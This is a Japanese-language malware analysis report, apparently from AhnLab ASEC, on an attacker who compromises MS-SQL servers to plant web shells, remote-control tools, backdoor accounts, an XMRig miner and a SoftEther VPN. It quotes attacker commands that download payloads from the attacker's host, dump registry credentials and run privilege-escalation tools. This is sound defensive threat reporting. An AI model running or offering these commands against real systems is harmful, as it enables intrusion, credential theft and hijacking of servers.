AhnLab Security intelligence Center (ASEC) は、MS-SQL サーバーに対する攻撃事例をモニタリングする中で、Larva-26009 攻撃者が XMRig コインマイナーをインストールする事例を確認した。MS-SQL サーバーを標的とした攻撃ではコインマイナーを設置するケースは珍しくないが、今回確認された攻撃では、VShell や GotoHTTP をインストールして感染システムの制御権を奪取し、さらに SoftEther をインストールして VPN サーバーとして利用していた。
1. 初期侵入プロセス (MS-SQL)
初期侵入の手法は確認できていないが、不適切に管理されている MS-SQL サーバーが攻撃対象となったものと推定される。攻撃者は MS-SQL サーバーを侵害して悪意のあるコマンドを実行し、それによって追加のペイロードをダウンロードした。攻撃を受けたシステムでは ping コマンドを実行したログのみが確認されており、追加の情報収集を行うことなくダウンロードコマンドを実行してマルウェアをインストールしていた。
> ping -n 10 127.0.0.1
[図1] MS-SQL サーバープロセスによって実行される PowerShell
2. Web シェルのインストール (IIS WebServer)
初期侵入は MS-SQL サーバー経由で行われたが、Web サーバーがインストールされているシステムでは、永続化と感染システムの制御を目的として追加で Web シェルがインストールされた。以下は攻撃事例で確認されたコマンドであり、certutil.exe を利用してダウンロードした Web シェルを復号した。
> certutil.exe -decode E:\*****\web\*****\images\1.txt E:\******\web\*****\images\homename.aspx
攻撃で使用された Web シェルそのものは確保できなかったが、攻撃者のダウンロードサーバーには Web シェルのマルウェアが存在しており、そこからダウンロードされた可能性がある。
1つ目は「Sharp4WebCmd」という名称の ASPX Web シェルで、コマンド実行機能を提供する。2つ目は「Suo5」であり、トンネリング機能を提供する。
[図2] 攻撃で使用された ASPX Web シェル
このほかにも、PowerShell スクリプトで作成された Web シェルも存在しており、Web サーバーではない環境でも37681番ポート経由で感染システムを制御できる。PowerShell Web シェルではログイン時に認証が必要であり、デフォルトのユーザー名は「joke」、パスワードは「jokeyyds666」が使用される。
[図3] PowerShell Web シェル
3. その他のツール
3.1. 認証情報の窃取
攻撃者は以下のコマンドを実行し、「HKLM\SYSTEM」レジストリのダンプを試みた。これは一般的に「HKLM\SAM」「HKLM\SECURITY」と併せてダンプし、認証情報を窃取する際に使用される手法である。
> reg save HKLM\SYSTEM C:\users\[ユーザー名]\ys.hiv
ダウンロードサーバーにはオープンソースツール「HackBrowserData」が配置されていた。HackBrowserData は Web ブラウザに保存された認証情報、閲覧履歴 (History)、Cookie などを窃取するツールであり、Chromium 系ブラウザのほか、Firefox や Safari にも対応している。
3.2. Potatos
攻撃者は、JuicyPotatoNG、SigmaPotato、BadPotato、RustPotato など、さまざまな権限昇格ツールを使用している。
3.3. スキャナー
ダウンロードサーバーには Fscan ツールもアップロードされており、攻撃者は必要に応じて内部ネットワークをスキャンし、ラテラルムーブメントの対象を特定すると考えられる。
3.4. シェルコード、RingQ
攻撃者は検知回避を目的として暗号化されたデータファイルを利用していた。シェルコード実行機能を持つマルウェアは暗号化されたシェルコードのパスとパスワードを引数として受け取り、DJB2 アルゴリズムを用いて復号した後、メモリ上で実行する。
RingQ も同様に、同一パス上に存在する暗号化ファイルを読み込み、復号後にメモリ上で実行する機能を持つツールであり、GitHub で公開されている。攻撃者のダウンロードサーバーに存在する圧縮ファイルには、RingQ と暗号化されたデータファイル「main.txt」が含まれている。RingQ が実行されると、同じディレクトリの「main.txt」を復号してメモリ上で実行し、その実体は GotoHTTP である。
別の攻撃事例では、正常な NVIDIA ユーティリティが悪用されていた。このファイルのコード領域がパッチされ、シェルコードローダーとして使用されていた。ローダーは以下のコマンドでダウンロードされた「gojoke.png」を読み込み、メモリ上で復号して実行する。
> powershell (new-object System.Net.WebClient).DownloadFile(‘hxxps://pub-c4c8e8c336c3429d97195076bf3bb6eb.r2[.]dev/goto/gojoke.png’,’C:\users\[ユーザー名]\gojoke.png’)”
4. リモート制御
4.1. GotoHTTP
GotoHTTP はダウンロードサーバーに直接配置されている場合もあるが、暗号化されたデータとして配布され、RingQ やシェルコードローダーによって実行される場合もある。
攻撃者は GotoHTTP を利用して権限昇格ツールをインストールし、以下のようなコマンドを実行した。
> net group /domain
> RasManPotato.exe -c “cmd /c ipconfig”
> JuicyPotatoNG.exe -t * -p “C:\Windows\system32\cmd.exe” -a “/c ipconfig > C:\users\[ユーザー名]\1.txt”
4.2. Chrome リモートデスクトップ
ダウンロードサーバーには Chrome リモートデスクトップ (Chrome Remote Desktop) のインストーラーも存在していた。
Google の Chrome リモートデスクトップを攻撃者のアカウントで特定システムにインストールすると、他のシステムから Chrome ブラウザ経由でそのシステムを遠隔操作できる。
GotoHTTP と同様に、Chrome リモートデスクトップも正規環境で広く利用されるツールであるため、一般的なマルウェアとは異なり、このようなツールを単純に検知・遮断することには限界がある。攻撃者はこの点を悪用し、初期侵入やラテラルムーブメントの際にバックドアマルウェアではなくリモート制御ツールをインストールして標的システムを操作する場合がある。
4.3. バックドアアカウント
攻撃者はバックドアアカウントを追加するバッチ型マルウェアを使用しており、中国語のコメントが含まれている点が特徴である。
「MSSQLSERVERS$」「mssql$」「adminweb1$」というアカウントが追加され、アカウント名末尾の「$」と SpecialAccounts への登録によって、既存ユーザーが新しいアカウントの追加に気付きにくくしている。
攻撃者は作成したアカウントを利用して、後に RDP 経由で感染システムを遠隔操作できるようにしていると考えられる。
[図4] ユーザーアカウント追加マルウェア
4.4. VShell
攻撃者は正規ツールも悪用しているが、ダウンロードサーバーには VShell バックドアマルウェアも存在する。
VShell は Go 言語で開発されたバックドアマルウェアであり、Windows や Linux など複数のプラットフォームに対応している。C&C サーバーとの通信では TCP、HTTP、UDP などのプロトコルをサポートし、リモートコマンドの実行やファイル管理などの遠隔操作機能を提供する。
さらに、Mimikatz、fscan スキャナー、gost プロキシ、ユーザーアカウント追加ツールなどもプラグインとして利用できる。
[図5] VShell 設定データ
4.5. プロキシ
攻撃事例では、Cloudflared を利用してローカルポートを外部へ公開していた。
以下の PowerShell スクリプトは圧縮ファイルをダウンロードした後、Cloudflared を実行して利用可能なローカルポートを外部へ公開する。Cloudflared 実行時に生成されたアクセス用 URL はログファイルへ保存され、C&C サーバーへ送信される。
[図6] Cloudflared を利用してローカルポートを公開する PowerShell スクリプト
5. 最終ペイロード
5.1. XMRig
攻撃者は感染システムの制御権を獲得するためにリモート制御ツール、バックドアアカウント、VShell を利用しており、これらを通じて機密情報を窃取することも可能である。
実際の攻撃では XMRig がインストールされており、以下のコマンドによって XMRig を含む圧縮ファイルがダウンロードされた。
> bitsadmin /transfer “Download_xmr-1.zip” /download /priority normal “hxxps://pub-c4c8e8c336c3429d97195076bf3bb6eb.r2[.]dev/wk/009/xmr-1.zip” “C:\Program Files (x86)\Microsoft\EdgeUpdate\xmr-1.zip”
압圧縮ファイル内の「edge.exe」はシェルコードローダーであり、同じディレクトリに存在する「edgeico.ico」を復号してメモリ上で実行する。最終的に実行されるのは XMRig コインマイナーである。
[図7] XMRig 設定ファイル
5.2. SoftEther VPN
感染システムには XMRig に加え、SoftEther VPN サーバーもインストールされていた。
設定ファイルを見ると、攻撃者は感染システムを単独で VPN サービスを提供するサーバーとしてではなく別の VPN サーバーへ接続する「Cascade Connection」方式で動作させている。
つまり攻撃者は、セキュリティとプライバシーを強化するとともに、実際の C&C サーバーの追跡を困難にするための C&C インフラ構築に利用しているものと推定される。
> certutil.exe -urlcache -split -f “hxxps://pub-c4c8e8c336c3429d97195076bf3bb6eb.r2[.]dev/009/qd_c_joke1.2.ps1” C:\users\[ユーザー名]\qd_c_joke1.2.ps1
[図8] SoftEther VPN 設定ファイル
6. まとめ
MS-SQL サーバーを狙った攻撃では、不適切に管理されたアカウント情報を悪用したブルートフォース攻撃 (Brute Forcing) や辞書攻撃 (Dictionary Attack) が代表的な手法である。
管理者は推測されにくい強固なパスワードを設定し定期的に変更することで、ブルートフォース攻撃や辞書攻撃からデータベースサーバーを保護する必要がある。
また、V3 を最新バージョンへ更新し、マルウェア感染を事前に防止できるよう管理することも重要である。さらに、外部へ公開されアクセス可能なデータベースサーバーについては、ファイアウォールなどのセキュリティ製品を利用して外部攻撃者からのアクセスを制御する必要がある。
これらの対策が講じられていない場合、攻撃者やマルウェアによる継続的な感染を許す可能性がある。
関連 IOC および詳細な解析情報は、AhnLab の次世代脅威インテリジェンスプラットフォーム 「AhnLab TIP」 サブスクリプションサービスを通して確認できる。